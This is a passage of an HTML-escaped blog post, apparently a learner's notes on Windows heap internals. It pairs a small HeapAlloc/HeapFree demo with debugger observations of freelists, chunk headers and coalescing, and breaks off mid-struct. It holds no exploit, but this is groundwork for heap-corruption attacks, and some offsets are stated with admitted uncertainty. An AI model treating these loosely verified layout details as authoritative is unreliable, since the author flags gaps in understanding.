&lt;/span&gt;&lt;span&gt;HeapCreate&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;1000&lt;/span&gt;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;10000&lt;/span&gt;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;__asm&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;h1&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;HeapAlloc&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;hp&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;HEAP_ZERO_MEMORY&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;h2&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;HeapAlloc&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;hp&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;HEAP_ZERO_MEMORY&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;5&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;h3&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;HeapAlloc&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;hp&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;HEAP_ZERO_MEMORY&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;6&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;h4&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;HeapAlloc&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;hp&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;HEAP_ZERO_MEMORY&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;8&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;h5&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;HeapAlloc&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;hp&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;HEAP_ZERO_MEMORY&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;19&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;h6&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;HeapAlloc&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;hp&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;HEAP_ZERO_MEMORY&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;24&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;//free block and prevent coaleses&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;HeapFree&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;hp&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;h1&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;span&gt; // free to freelist[2]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;HeapFree&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;hp&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;h3&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;span&gt; // free to freelist[2]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;HeapFree&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;hp&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;h5&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;span&gt; // free to freelist[4]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;HeapFree&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;hp&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;h4&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;span&gt; // coalese h3 h4 h5 link the large block to freelist[8]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;What I saw&lt;a href=&quot;#what-i-saw&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;section&gt;&lt;h5&gt;The INT breakpoint brings up the debugger before anything runs&lt;a href=&quot;#the-int-breakpoint-brings-up-the-debugger-before-anything-runs&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h5&gt;&lt;ul&gt;
&lt;li&gt;After &lt;code&gt;HeapCreate()&lt;/code&gt; creates the heap, it hands the heap pointer back in EAX, which is &lt;code&gt;0x360000&lt;/code&gt; here&lt;/li&gt;
&lt;li&gt;Looking at memory at &lt;code&gt;0x360000&lt;/code&gt;, what comes after it in order is (copied from the book, I honestly don’t know how big each of these structures is) the segment list (SegmentList), the virtual allocation list (VirtualAllocationList), the freelist usage bitmap, and the free list index area&lt;/li&gt;
&lt;li&gt;At offset &lt;code&gt;0x178&lt;/code&gt; I found the free list index. It holds &lt;code&gt;0x00360688&lt;/code&gt;, so &lt;code&gt;freelist[0]&lt;/code&gt; points at offset &lt;code&gt;0x688&lt;/code&gt;. Let’s take a peek at what’s there&lt;/li&gt;
&lt;li&gt;What’s there is &lt;code&gt;0x00360178&lt;/code&gt;. Neat, it points back at &lt;code&gt;freelist[0]&lt;/code&gt;, going all the way around to itself. So this &lt;code&gt;freelist[0]&lt;/code&gt; points to the only free chunk on the heap, usually called the “tail chunk”&lt;/li&gt;
&lt;li&gt;From the chunk layout (further down), the chunk actually starts at &lt;code&gt;0x00360680&lt;/code&gt;. The chunk pointer seems to skip the header and point straight at the data&lt;/li&gt;
&lt;li&gt;Bytes &lt;code&gt;0x1-0x2&lt;/code&gt; are its own size. The value is &lt;code&gt;0x0130&lt;/code&gt;, so the chunk is &lt;code&gt;0x130&lt;/code&gt; heap units (8 bytes each)&lt;/li&gt;
&lt;li&gt;Bytes &lt;code&gt;0x3-0x4&lt;/code&gt; are the previous chunk’s size, and the value is &lt;code&gt;0x08&lt;/code&gt; (??? wasn’t this supposed to be the only one???)&lt;/li&gt;
&lt;li&gt;Byte &lt;code&gt;0x5&lt;/code&gt; is the index, which is 0&lt;/li&gt;
&lt;li&gt;Byte &lt;code&gt;0x6&lt;/code&gt; is the flag, which is 1&lt;/li&gt;
&lt;li&gt;Byte &lt;code&gt;0x7&lt;/code&gt; is reserved, 0&lt;/li&gt;
&lt;li&gt;Byte &lt;code&gt;0x8&lt;/code&gt; is the tag index (debug only). No idea what it does, it’s 0&lt;/li&gt;
&lt;li&gt;Bytes &lt;code&gt;0x9-0xC&lt;/code&gt; (free chunks only) are the address of the previous free chunk, &lt;code&gt;0x00360178&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Bytes &lt;code&gt;0xD-0x10&lt;/code&gt; (free chunks only) are the address of the next free chunk, also &lt;code&gt;0x00360178&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h5&gt;After the six allocations&lt;a href=&quot;#after-the-six-allocations&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h5&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x00360680-0x00360687&lt;/code&gt; is h1’s header and &lt;code&gt;0x00360688-0x0036068F&lt;/code&gt; its 8-byte body, holding &lt;code&gt;00 00 00 00 78 01 36 00&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x00360690-0x00360697&lt;/code&gt; is h2’s header and &lt;code&gt;0x00360698-0x0036069F&lt;/code&gt; its 8-byte body, holding &lt;code&gt;00 00 00 00 00 01 36 00&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x003606A0-0x003606A7&lt;/code&gt; is h3’s header and &lt;code&gt;0x003606A8-0x003606AF&lt;/code&gt; its 8-byte body, holding &lt;code&gt;00 00 00 00 00 00 36 00&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x003606B0-0x003606B7&lt;/code&gt; is h4’s header and &lt;code&gt;0x003606B8-0x003606BF&lt;/code&gt; its 8-byte body, holding &lt;code&gt;00 00 00 00 00 00 00 00&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x003606C0-0x003606C7&lt;/code&gt; is h5’s header and &lt;code&gt;0x003606C8-0x003606DF&lt;/code&gt; its 24-byte body, holding &lt;code&gt;00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x003606E0-0x003606E7&lt;/code&gt; is h6’s header and &lt;code&gt;0x003606E8-0x003606FF&lt;/code&gt; its 24-byte body, holding &lt;code&gt;00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h5&gt;Freeing&lt;a href=&quot;#freeing&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h5&gt;&lt;ul&gt;
&lt;li&gt;The first free is h1. With its header it’s 16 bytes, so it goes onto &lt;code&gt;freeList[2]&lt;/code&gt;, at &lt;code&gt;0x188&lt;/code&gt;, which now holds &lt;code&gt;0x00360688&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;h3, freed second, is also 16 bytes and also goes onto &lt;code&gt;freeList[2]&lt;/code&gt;. Same details, so I’ll skip them&lt;/li&gt;
&lt;li&gt;h5, freed third, is a 24-byte body plus an 8-byte header, 32 bytes in total, and goes onto &lt;code&gt;freeList[4]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;On the fourth free, h3, h4 and h5 are next to each other, so they get merged. h3 and h4 are 2 heap units each and h5 is 4, so the merged chunk is 8 heap units (64 bytes, with one header) and goes into &lt;code&gt;freeList[8]&lt;/code&gt; by &lt;code&gt;size = index * 8&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;What I learned&lt;a href=&quot;#what-i-learned&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;The heap table holds, in order, the segment list (SegmentList), the virtual allocation list (VirtualAllocationList), the freelist usage bitmap, and the free list index area&lt;/li&gt;
&lt;li&gt;What the chunks look like right after a heap is initialized
&lt;ul&gt;
&lt;li&gt;There’s just one big free chunk, called the “tail chunk”&lt;/li&gt;
&lt;li&gt;After it come the lookaside lists&lt;/li&gt;
&lt;li&gt;Freelist[0] points at the “tail chunk”&lt;/li&gt;
&lt;li&gt;Except for free list zero, every index in that area points at itself, which means all the other free lists are empty&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Header of a chunk in use&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;struct&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Flag&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;BIT&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Busy&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;BIT&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ExtraPresent&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;BIT&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;FillPattern&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;BIT&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;VirtualAlloc&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;BIT&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;LastEntry&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;BIT&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;FFU1&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;BIT&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;FFU2&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;BIT&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;NoCoalesce&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;struct&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;BusyHeapHeadBlock&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;// 8 Byte Head&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;USHORT&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;SelfSize&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;USHORT&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;PreviousChunkSize&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;UCHAR&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;SegmentIndex&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;struct&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Flag&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Flags&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;UCHAR&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;UnusedBytes&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;UCHAR&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;TagIndex_Debug&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;// Data After...&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Header of a free chunk&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;struct&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Flag&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;BIT&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Busy&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;BIT&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ExtraPresent&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;BIT&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;FillPattern&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;BIT&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;VirtualAlloc&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;BIT&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;LastEntry&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;BIT&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;FFU1&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;BIT&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;FFU2&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;BIT&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;NoCoalesce&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;struct&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;FreeHeapHeadBlock&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;// 16 Byte Head&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;USHORT&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;SelfSize&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;USHORT&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;PreviousChunkSize&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;UCHAR&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;SegmentIndex&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;struct&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Flag&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Flags&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;UCHAR&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;UnusedBytes&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;UCHAR&lt;/span&gt;&lt;span&gt; 